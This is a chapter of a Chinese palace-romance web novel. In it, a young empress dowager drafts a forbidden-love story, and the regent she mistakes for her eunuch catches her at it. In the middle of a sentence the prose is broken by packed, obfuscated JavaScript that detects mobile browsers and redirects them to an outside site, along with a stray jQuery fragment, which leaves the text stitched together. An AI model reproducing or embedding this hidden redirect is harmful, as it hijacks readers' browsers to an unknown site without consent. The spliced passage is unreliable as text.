见议事大臣们口号喊得慷慨激昂,翡翠垂帘后的楚月鸢轻轻吐出一口气。
她再一次展开衡听肆的回信,心情已然平复下来。
她遣小彦子从宫外采买京城正盛行的话本,花费三天四夜拜读所有著作,整理归纳出当下最受贵人们喜爱的话本。
得出结论,禁忌情爱经久不衰。
譬如性情温婉乖顺的女主被迫与家道中落的竹马男主分开,女主入宫成为皇帝最宠爱的妃子,经年后,男女主再度相遇,竟是在一场宫宴上,曾经落魄的男主,已然成为天子最倚仗的重臣...
亦或是庶女出身的女主受尊贵嫡姐胁迫,在新婚之夜代替嫡姐和身份同样贵不可言的男主圆房,一日,女主不小心露出破绽,而男主却故作不知,只将每夜熄灯的时辰提前....
统而言之,位高权重的男主和柔弱如浮萍般的女主,永远是真香设定。
楚月鸢试着撰写此类题材,她给衡听肆逸送去几个故事开头,都被对方不留情面退回来。
每次退回的理由都是一样:情感薄弱,内容空泛,不足以引人入胜,有待改进。
金主的话大过天,楚月鸢只得绞尽脑汁构想新话本的内容。
憋了半晌,宣纸上除去几滴墨点,再无其他。
气温渐暖,沉寂一个冬日的春草挣扎冒出泥土,百花争相绽放,楚月鸢手托香腮望着窗外李白桃红,郁郁葱葱的园景,不禁开始游起神。
她心中清楚,自己以前撰写的话本之所以得到京城贵女们爱不释手,因她把真实的人生经历撰入笔墨。
现实往往要比话本还要狗血。
楚月鸢和母亲在楚府遭受的漠视和冷遇无比真实,加以笔墨渲染,引得观者们感同身受,不惜一掷千金购下她的笔墨。
如今,同她明争暗斗的楚绾溪已然不在人世,与杜氏撕破脸后,她决意与楚家再无瓜葛。
失去恨意,等同于失去灵感源泉,再也支撑不起她笔下的故事。
思绪万千之际,一道清冷低沉的声音徐徐飘进楚月鸢耳中。
她缓缓转过头,目光触及墨发玉冠,俊美出尘的男子,她失落的眼眸忽而一亮。
灵感源泉,远在天边,近在眼前。
望向那皮囊近乎于妖孽,手握无上权力,同时又冷血到六亲不认的男子,楚月鸢脑中灵光一闪。
眼前的摄政王,不就是话本里的天选男主嘛!
至于女主的人选,楚月鸢明眸轻眨,紧蹙的眉心忽而舒展开。
她那位以清丽之姿闻名遐迩的姐姐,是世人公认的京城第一美人,拜倒在其石榴裙下的王孙公子不可胜数。
可楚月鸢却清楚,楚绾溪心尖上始终有一位求而不得的男子,甚至在出嫁前,还在压箱底的避火图里,悄悄放进一张男子的画像。
当时她帮姐姐整理嫁妆时发现这个秘密,惊得她面红耳赤,问她是不是疯了,若是被宫里的人发现,岂不是要怀疑她和逸王之间有染。
彼时的楚绾溪满眼柔情,小心折叠好男子的小像夹进裱框,语气幽幽:“一入深宫,就再无回头路,总要留下点念想。”
追忆起往事,楚月鸢内心长叹:既然姐姐活着的时候未能得偿所愿,那她就以笔墨为梦,帮姐姐圆了这场夙愿罢。
楚月鸢毫不迟疑,当即展开宣纸。
笔墨酣畅的时候,时光流逝得格外飞快。
女子坐在窗边几案前,神情专注,秀眉浅蹙,丹唇微抿,手腕轻翻间,宽大的金丝白昙纹袖摆缓缓下坠,一截皓腕浮现于天光下,犹若华丽锦盒里珍藏的明珠暴露于日光下,闪动着让人挪不开眼的光辉。
裴慕唯抬起头时,瞧见的便是这幅静谧又美好的画面。
此时的楚月鸢已然达到忘我之境,在她撰写的话本里,女主楚贵妃共有三位爱慕者,一位是权势滔天的当朝首辅,一位是光风霁月的新科状元,最后便是满心赤诚的少年将军。
墨香居的看客之中,既有阅历深厚的名门宗妇,亦有不谙世事的闺阁少女,众人品味各异,楚月鸢深谙“千人千面”之理,故她笔下的男主呈百花齐放之势,意在投其所好,广纳看客。
至于最终男主的抉择,还要取决于看客们的呼声。
楚月鸢灵思如泉涌,手速极快,墨迹在纸上划出飘逸的字体,构成一行行工整漂亮的楷书。
红棱雕花长窗,微风徐徐拂过,女子鬓角的碎发随之轻轻飘扬。
砚台里的墨汁很快就用光,楚月鸢提笔蘸取最后一滴墨,头也顾不上抬,急声催促:
“小彦子,快过来,为本宫研磨。”
倚着博古架打瞌睡的小彦子登时惊醒,他迷迷糊糊道了声奴才领命,准备走上前为小太后研墨汁,只见眼前走过一道玄色身影。
他惊得睡意全无,正要行礼,却被男子抬手打断。
楚月鸢埋首专心书写,丝毫未被外界打扰,当描绘起皇贵妃与裴首辅在御花园久别重逢的小高潮时,双颊因激动泛起淡淡粉晕,不自觉轻轻咬住嫣色唇瓣。
在她身畔,身形挺拔的男子垂眸而立,他长指捏着松香墨块,随着缓缓研磨,漆色墨汁在清水中荡漾开一圈又一圈波澜,溢出淡淡的墨香。
为高.潮篇章落下最后一字,楚月鸢眉眼舒展,心满意足放下狼毫笔,甩了甩酸疼的手腕。
趁热打铁,她开始检查起方才书写的内容,垂下的眼帘未曾掀动半分,动作自然伸展出右臂,懒声道:
“小彦子,本宫手酸,你来为本宫捏一捏。”
平日里机敏伶俐的小彦子,今日却有些懒惰。
悬在空中的皓腕久久得不到回应,不耐烦勾了勾葱白纤指,下一瞬,男子的大掌忽而覆盖住她的手背。
“小彦子”的手掌不仅宽大,还很温暖...
楚月鸢一心扑在话本上,并未起疑心,偶然感觉到“小彦子”下手的的力道大了些,她微蹙黛眉,轻啧一声,毫不客气打在对方手背上,语气娇嗔:
“轻一些啦,你是要掰断本宫的手指头吗?”
女子白玉柔荑,润如羊脂,纤细手腕向上抬起时,腕间天青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488461|185745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色玉镯向手肘落下去,也将宽大的金丝白昙纹袖一层层压下去,露出莲藕般白皙的小臂,臂弯上那颗守宫砂在日光下鲜艳夺目。
小彦子瞧见此情此景,眼皮子狂跳,他神色慌张地看向王公公。
王公公收到小彦子求助的眼神,只慢吞吞摇了摇头,随即低头盯着脚下青砖,仿若老僧入定般一动不动。
小彦子只好有样学样,低下头,心里默默念着老天爷保命。
寂静的书房内,只有更漏里滴答滴答的流水声。
楚月鸢仍旧将全部心神投入在她的作品上,经过言语敲打,身畔“小彦子”果真懂事不少,略带薄茧的置腹不轻不重按着她的指节,松弛长久握笔后的僵硬感。
再后来,不用楚月鸢出言提醒,“小彦子”松开她的手指,轻轻捏住她的手腕。
男子掌心又大又热,轻而易举包裹住她的手腕,指尖顺着手臂上的穴位一下下按压,每一处穴位都按压得力道刚好,不知不觉卸除她身上的疲倦。
楚月鸢舒服地眯起双眸,她向后挪了挪身子,背靠粟玉芯苏绣软枕,漫不经意问道:“你推拿的手法师出何人?倒是颇有造诣...”
男子清清冷冷的声音在她头顶响起。
“谢过太后称赞,微臣不才,适才受殿下点拨,方得此造诣。”
楚月鸢犹若被当头一棒,惊得她倏然睁开眼,抬头对上摄政王平静无波的凤眸。
女子黑亮都瞳仁骤然一缩,五指下意识蜷缩,尖尖的长甲挠过男子掌心,宛若一只翻脸无情的猫儿,受到惊吓时猛地挠上一爪子。
裴慕唯垂眸凝视小太后玉瓷般精致的小脸渐渐染上红晕,眸色深沉,淡声道:“太后的手还酸吗?”
“不....不酸了。”
楚月鸢脑中一片空,只觉耳根子发烫,被男子握在掌中的手更是烫,她缓缓从摄政王掌心抽回手,轻咳一声冲散二人之间尴尬的气氛:
“裴爱卿是什么时候站在本宫身边的?怎么一声不吭...”
楚月鸢一边问,一边故作镇定收起桌案上的宣纸,严严实实压在紫檀嵌玉镇尺下,接着捧起一盏凉茶,小口啜饮,好平复砰砰乱跳的心脏。
裴慕唯背过双手,他敛起剑眉,似是在认真思索小太后的问话,片刻后才缓缓开口:“微臣见太后笔墨酣畅,不忍叨扰,至于具体是什么时候...”
男子狭长凤眸微微眯起,似笑非笑道:“应是太后写到皇贵妃泪如雨下,质问裴相为何要逼迫于她...”
楚月鸢冷不丁呛上一口茶水,她压下嗓子眼里的痒意,泪眼汪汪打断对方:
“咳咳...本宫知晓了,裴卿倒不必说得如此详细。”
原来自己撰写的风花雪月被男子用清冽的声音一本正经念出来,竟会是如此羞耻的一件事。
摄政王在她身后默不吭声站了这么久,那她后面撰写皇贵妃被裴首辅抵在龙槐树下,从衣衫渐退,到粉拳无力捶打对方胸膛等种种不可描述的画面...
岂不是被摄政王一字不落看完了。